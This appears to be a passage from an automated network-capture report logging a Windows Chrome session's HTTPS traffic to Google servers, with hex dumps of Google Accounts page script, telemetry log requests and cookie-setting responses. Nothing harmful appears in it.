2024-10-03 01:29:13 UTC	1967	IN	Data Raw: 37 36 31 38 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 56 37 71 32 4d 4d 50 55 47 31 5f 66 41 4d 44 59 5a 46 54 32 78 41 22 3e 22 75 73 65 20 73 74 72 69 63 74 22 3b 74 68 69 73 2e 64 65 66 61 75 6c 74 5f 41 63 63 6f 75 6e 74 73 44 6f 6d 61 69 6e 63 6f 6f 6b 69 65 73 43 68 65 63 6b 63 6f 6e 6e 65 63 74 69 6f 6e 4a 73 3d 74 68 69 73 2e 64 65 66 61 75 6c 74 5f 41 63 63 6f 75 6e 74 73 44 6f 6d 61 69 6e 63 6f 6f 6b 69 65 73 43 68 65 63 6b 63 6f 6e 6e 65 63 74 69 6f 6e 4a 73 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 74 72 79 7b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f Data Ascii: 7618<html><head><script nonce="V7q2MMPUG1_fAMDYZFT2xA">"use strict";this.default_AccountsDomaincookiesCheckconnectionJs=this.default_AccountsDomaincookiesCheckconnectionJs\|\|{};(function(_){var window=this;try{_._F_toggles_initialize=function(a){(typeo
2024-10-03 01:29:13 UTC	1967	IN	Data Raw: 3d 2f 54 72 69 64 65 6e 74 5c 2f 28 5c 64 2e 5c 64 29 2f 2e 65 78 65 63 28 62 29 2c 0a 63 5b 31 5d 3d 3d 22 37 2e 30 22 29 69 66 28 62 26 26 62 5b 31 5d 29 73 77 69 74 63 68 28 62 5b 31 5d 29 7b 63 61 73 65 20 22 34 2e 30 22 3a 61 3d 22 38 2e 30 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 35 2e 30 22 3a 61 3d 22 39 2e 30 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 36 2e 30 22 3a 61 3d 22 31 30 2e 30 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 37 2e 30 22 3a 61 3d 22 31 31 2e 30 22 7d 65 6c 73 65 20 61 3d 22 37 2e 30 22 3b 65 6c 73 65 20 61 3d 63 5b 31 5d 3b 62 3d 61 7d 65 6c 73 65 20 62 3d 22 22 3b 72 65 74 75 72 6e 20 62 7d 76 61 72 20 64 3d 52 65 67 45 78 70 28 22 28 5b 41 2d 5a 5d 5b 5c 5c 77 20 5d 2b 29 2f 28 5b 5e 5c 5c 73 5d 2b 29 5c 5c 73 2a 28 3f 3a 5c Data Ascii: =/Trident\/(\d.\d)/.exec(b),c[1]=="7.0")if(b&&b[1])switch(b[1]){case "4.0":a="8.0";break;case "5.0":a="9.0";break;case "6.0":a="10.0";break;case "7.0":a="11.0"}else a="7.0";else a=c[1];b=a}else b="";return b}var d=RegExp("([A-Z][\\w ]+)/([^\\s]+)\\s*(?:\
2024-10-03 01:29:13 UTC	1967	IN	Data Raw: 7b 73 77 69 74 63 68 28 74 79 70 65 6f 66 20 61 29 7b 63 61 73 65 20 22 6e 75 6d 62 65 72 22 3a 72 65 74 75 72 6e 20 69 73 46 69 6e 69 74 65 28 61 29 3f 61 3a 53 74 72 69 6e 67 28 61 29 3b 63 61 73 65 20 22 62 69 67 69 6e 74 22 3a 72 65 74 75 72 6e 28 41 61 3f 0a 61 3e 3d 42 61 26 26 61 3c 3d 43 61 3a 61 5b 30 5d 3d 3d 3d 22 2d 22 3f 75 61 28 61 2c 44 61 29 3a 75 61 28 61 2c 45 61 29 29 3f 4e 75 6d 62 65 72 28 61 29 3a 53 74 72 69 6e 67 28 61 29 3b 63 61 73 65 20 22 62 6f 6f 6c 65 61 6e 22 3a 72 65 74 75 72 6e 20 61 3f 31 3a 30 3b 63 61 73 65 20 22 6f 62 6a 65 63 74 22 3a 69 66 28 61 29 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 61 29 29 7b 69 66 28 43 28 61 29 29 72 65 74 75 72 6e 7d 65 6c 73 65 20 69 66 28 46 61 26 26 61 21 3d 6e 75 6c 6c 26 26 Data Ascii: {switch(typeof a){case "number":return isFinite(a)?a:String(a);case "bigint":return(Aa?a>=Ba&&a<=Ca:a[0]==="-"?ua(a,Da):ua(a,Ea))?Number(a):String(a);case "boolean":return a?1:0;case "object":if(a)if(Array.isArray(a)){if(C(a))return}else if(Fa&&a!=null&&
2024-10-03 01:29:13 UTC	1967	IN	Data Raw: 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 69 66 28 61 26 26 28 62 3d 51 61 29 21 3d 6e 75 6c 6c 26 26 62 2e 68 61 73 28 61 29 26 26 28 62 3d 61 2e 43 29 29 66 6f 72 28 76 61 72 20 63 3d 30 3b 63 3c 62 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 7b 76 61 72 20 64 3d 62 5b 63 5d 3b 69 66 28 63 3d 3d 3d 62 2e 6c 65 6e 67 74 68 2d 31 26 26 41 28 64 29 29 66 6f 72 28 76 61 72 20 65 20 69 6e 20 64 29 7b 76 61 72 20 66 3d 64 5b 65 5d 3b 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 66 29 26 26 0a 52 61 28 66 2c 61 29 7d 65 6c 73 65 20 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 64 29 26 26 52 61 28 64 2c 61 29 7d 61 3d 45 3f 61 2e 43 3a 4d 61 28 61 2e 43 2c 50 61 2c 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 21 31 29 3b 65 3d 21 45 3b 69 66 28 62 3d 61 2e 6c 65 6e 67 74 68 29 7b Data Ascii: ion(a){var b;if(a&&(b=Qa)!=null&&b.has(a)&&(b=a.C))for(var c=0;c<b.length;c++){var d=b[c];if(c===b.length-1&&A(d))for(var e in d){var f=d[e];Array.isArray(f)&&Ra(f,a)}else Array.isArray(d)&&Ra(d,a)}a=E?a.C:Ma(a.C,Pa,void 0,void 0,!1);e=!E;if(b=a.length){
2024-10-03 01:29:13 UTC	1967	IN	Data Raw: 0a 47 28 22 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 29 72 65 74 75 72 6e 20 61 3b 61 3d 53 79 6d 62 6f 6c 28 22 63 22 29 3b 66 6f 72 28 76 61 72 20 62 3d 22 41 72 72 61 79 20 49 6e 74 38 41 72 72 61 79 20 55 69 6e 74 38 41 72 72 61 79 20 55 69 6e 74 38 43 6c 61 6d 70 65 64 41 72 72 61 79 20 49 6e 74 31 36 41 72 72 61 79 20 55 69 6e 74 31 36 41 72 72 61 79 20 49 6e 74 33 32 41 72 72 61 79 20 55 69 6e 74 33 32 41 72 72 61 79 20 46 6c 6f 61 74 33 32 41 72 72 61 79 20 46 6c 6f 61 74 36 34 41 72 72 61 79 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 63 3d 30 3b 63 3c 62 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 7b 76 61 72 20 64 3d 57 61 5b 62 5b 63 5d 5d 3b 74 79 70 65 6f 66 20 64 3d 3d 3d 22 66 75 6e 63 74 69 6f Data Ascii: G("Symbol.iterator",function(a){if(a)return a;a=Symbol("c");for(var b="Array Int8Array Uint8Array Uint8ClampedArray Int16Array Uint16Array Int32Array Uint32Array Float32Array Float64Array".split(" "),c=0;c<b.length;c++){var d=Wa[b[c]];typeof d==="functio
2024-10-03 01:29:13 UTC	1967	IN	Data Raw: 74 68 2e 72 61 6e 64 6f 6d 28 29 3b 65 28 22 66 72 65 65 7a 65 22 29 3b 65 28 22 70 72 65 76 65 6e 74 45 78 74 65 6e 73 69 6f 6e 73 22 29 3b 65 28 22 73 65 61 6c 22 29 3b 76 61 72 20 68 3d 30 2c 67 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 74 68 69 73 2e 67 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6b 29 7b 6b 3d 48 28 6b 29 3b 66 6f 72 28 76 61 72 20 6c 3b 21 28 6c 3d 6b 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6c 3d 6c 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6c 5b 30 5d 2c 6c 5b 31 5d 29 7d 7d 3b 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6b 2c 6c 29 7b 69 66 28 21 63 28 6b 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 69 22 29 3b 64 28 6b 29 3b 69 Data Ascii: th.random();e("freeze");e("preventExtensions");e("seal");var h=0,g=function(k){this.g=(h+=Math.random()+1).toString();if(k){k=H(k);for(var l;!(l=k.next()).done;)l=l.value,this.set(l[0],l[1])}};g.prototype.set=function(k,l){if(!c(k))throw Error("i");d(k);i
2024-10-03 01:29:13 UTC	1967	IN	Data Raw: 63 74 69 6f 6e 28 67 29 7b 72 65 74 75 72 6e 20 67 2e 76 61 6c 75 65 7d 29 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 66 6f 72 45 61 63 68 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 6b 29 7b 66 6f 72 28 76 61 72 20 6c 3d 74 68 69 73 2e 65 6e 74 72 69 65 73 28 29 2c 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 0a 6d 2e 76 61 6c 75 65 2c 67 2e 63 61 6c 6c 28 6b 2c 6d 5b 31 5d 2c 6d 5b 30 5d 2c 74 68 69 73 29 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 63 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 74 72 69 65 73 3b 76 61 72 20 64 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 6b 29 7b 76 61 72 20 6c 3d 6b 26 26 74 79 70 65 6f 66 20 6b 3b 6c 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 6c 3d 3d 22 66 75 6e 63 74 69 Data Ascii: ction(g){return g.value})};c.prototype.forEach=function(g,k){for(var l=this.entries(),m;!(m=l.next()).done;)m=m.value,g.call(k,m[1],m[0],this)};c.prototype[Symbol.iterator]=c.prototype.entries;var d=function(g,k){var l=k&&typeof k;l=="object"\|\|l=="functi
2024-10-03 01:29:13 UTC	1967	IN	Data Raw: 2e 69 73 4e 61 4e 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 62 3d 3d 3d 22 6e 75 6d 62 65 72 22 26 26 69 73 4e 61 4e 28 62 29 7d 7d 29 3b 76 61 72 20 66 62 3d 66 62 7c 7c 7b 7d 2c 71 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 67 62 3d 71 2e 5f 46 5f 74 6f 67 67 6c 65 73 7c 7c 5b 5d 2c 68 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 61 2e 73 70 6c 69 74 28 22 2e 22 29 3b 66 6f 72 28 76 61 72 20 62 3d 71 2c 63 3d 30 3b 63 3c 61 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 69 66 28 62 3d 62 5b 61 5b 63 5d 5d 2c 62 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 62 7d 2c 69 62 3d 22 63 6c 6f 73 75 72 65 5f 75 69 64 5f 22 2b 28 4d 61 Data Ascii: .isNaN",function(a){return a?a:function(b){return typeof b==="number"&&isNaN(b)}});var fb=fb\|\|{},q=this\|\|self,gb=q._F_toggles\|\|[],hb=function(a){a=a.split(".");for(var b=q,c=0;c<a.length;c++)if(b=b[a[c]],b==null)return null;return b},ib="closure_uid_"+(Ma
2024-10-03 01:29:13 UTC	1967	IN	Data Raw: 73 75 72 65 5f 5f 65 72 72 6f 72 5f 5f 63 6f 6e 74 65 78 74 5f 5f 39 38 34 33 38 32 3d 7b 7d 29 3b 61 2e 5f 5f 63 6c 6f 73 75 72 65 5f 5f 65 72 72 6f 72 5f 5f 63 6f 6e 74 65 78 74 5f 5f 39 38 34 33 38 32 2e 73 65 76 65 72 69 74 79 3d 62 7d 3b 76 61 72 20 71 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 63 3d 63 7c 7c 71 3b 76 61 72 20 64 3d 63 2e 6f 6e 65 72 72 6f 72 2c 65 3d 21 21 62 3b 63 2e 6f 6e 65 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 68 2c 67 2c 6b 2c 6c 29 7b 64 26 26 64 28 66 2c 68 2c 67 2c 6b 2c 6c 29 3b 61 28 7b 6d 65 73 73 61 67 65 3a 66 2c 66 69 6c 65 4e 61 6d 65 3a 68 2c 6c 69 6e 65 3a 67 2c 6c 69 6e 65 4e 75 6d 62 65 72 3a 67 2c 63 61 3a 6b 2c 65 72 72 6f 72 3a 6c 7d 29 3b 72 65 74 75 72 6e 20 65 7d 7d 2c 74 62 3d 66 75 6e Data Ascii: sure__error__context__984382={});a.__closure__error__context__984382.severity=b};var qb=function(a,b,c){c=c\|\|q;var d=c.onerror,e=!!b;c.onerror=function(f,h,g,k,l){d&&d(f,h,g,k,l);a({message:f,fileName:h,line:g,lineNumber:g,ca:k,error:l});return e}},tb=fun
2024-10-03 01:29:13 UTC	1967	IN	Data Raw: 74 72 69 6e 67 22 3a 62 72 65 61 6b 3b 63 61 73 65 20 22 6e 75 6d 62 65 72 22 3a 66 3d 53 74 72 69 6e 67 28 66 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 62 6f 6f 6c 65 61 6e 22 3a 66 3d 66 3f 22 74 72 75 65 22 3a 22 66 61 6c 73 65 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 66 75 6e 63 74 69 6f 6e 22 3a 66 3d 28 66 3d 73 62 28 66 29 29 3f 66 3a 22 5b 66 6e 5d 22 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 66 3d 0a 74 79 70 65 6f 66 20 66 7d 66 2e 6c 65 6e 67 74 68 3e 34 30 26 26 28 66 3d 66 2e 73 6c 69 63 65 28 30 2c 34 30 29 2b 22 2e 2e 2e 22 29 3b 63 2e 70 75 73 68 28 66 29 7d 62 2e 70 75 73 68 28 61 29 3b 63 2e 70 75 73 68 28 22 29 5c 6e 22 29 3b 74 72 79 7b 63 2e 70 75 73 68 28 77 62 28 61 2e 63 61 6c 6c 65 72 2c 62 29 29 7d 63 61 74 63 68 28 68 29 7b Data Ascii: tring":break;case "number":f=String(f);break;case "boolean":f=f?"true":"false";break;case "function":f=(f=sb(f))?f:"[fn]";break;default:f=typeof f}f.length>40&&(f=f.slice(0,40)+"...");c.push(f)}b.push(a);c.push(")\n");try{c.push(wb(a.caller,b))}catch(h){

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49854	216.58.206.78	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:29:14 UTC	549	OUT	OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: x-goog-authuser Origin: https://accounts.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 01:29:14 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web,authorization,origin,x-goog-authuser Content-Type: text/plain; charset=UTF-8 Date: Thu, 03 Oct 2024 01:29:14 GMT Server: Playlog Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49855	216.58.206.78	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:29:14 UTC	549	OUT	OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: x-goog-authuser Origin: https://accounts.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 01:29:14 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web,authorization,origin,x-goog-authuser Content-Type: text/plain; charset=UTF-8 Date: Thu, 03 Oct 2024 01:29:14 GMT Server: Playlog Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49860	216.58.206.78	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:29:15 UTC	1064	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 519 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCLnKzQEI+cDUFRiPzs0B Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 01:29:15 UTC	519	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 33 30 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 37 39 31 38 39 35 32 33 31 39 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"30",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1727918952319",null,null,null
2024-10-03 01:29:15 UTC	933	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=PM9FXOb1svaHL4LN5p6y-__R4gWT1feIFJbt0rh65lH8M15w_rR2Fyu-5nz7QjMPKQ3ENmEwG_skbxQRGTduzDeZQwm0UYQTpGv9Y8vdq4QjYbqHQaQTSBHyZFgeXtFKsmQl40eIaAZUiyUT7xJ59YPJMR7cjfVCRA4kw3Q_Bw3d4VeuTgc; expires=Fri, 04-Apr-2025 01:29:15 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Thu, 03 Oct 2024 01:29:15 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Thu, 03 Oct 2024 01:29:15 GMT Connection: close Transfer-Encoding: chunked
2024-10-03 01:29:15 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-03 01:29:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49859	216.58.206.78	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:29:15 UTC	1064	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 507 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: application/x-www-form-urlencoded;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCLnKzQEI+cDUFRiPzs0B Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 01:29:15 UTC	507	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 33 30 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 32 38 2c 5b 5b 22 31 37 32 37 39 31 38 39 35 32 33 38 39 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"30",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],1828,[["1727918952389",null,null,null
2024-10-03 01:29:15 UTC	933	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=WKd0JpkdQUKOHAA-Lu9_m6oz6Gp4ezSDR9MMdwLT-RHT0YBWlL6f8xubKjdeX0yiiko9dCEwgjtI1dJqYOO8W99xNZGt1cpqVHkJPQrEKDW9MN0c_V8xn6tv9DqRrR-AfqMCAAdLf3UN2zOT748sbDfaIzz2OjX4dEXsTmPaJDfv1CTtqhc; expires=Fri, 04-Apr-2025 01:29:15 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Thu, 03 Oct 2024 01:29:15 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Thu, 03 Oct 2024 01:29:15 GMT Connection: close Transfer-Encoding: chunked
2024-10-03 01:29:15 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-03 01:29:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49833	216.58.212.132	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:29:15 UTC	957	OUT	GET /favicon.ico HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCLnKzQEI+cDUFRiPzs0B Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
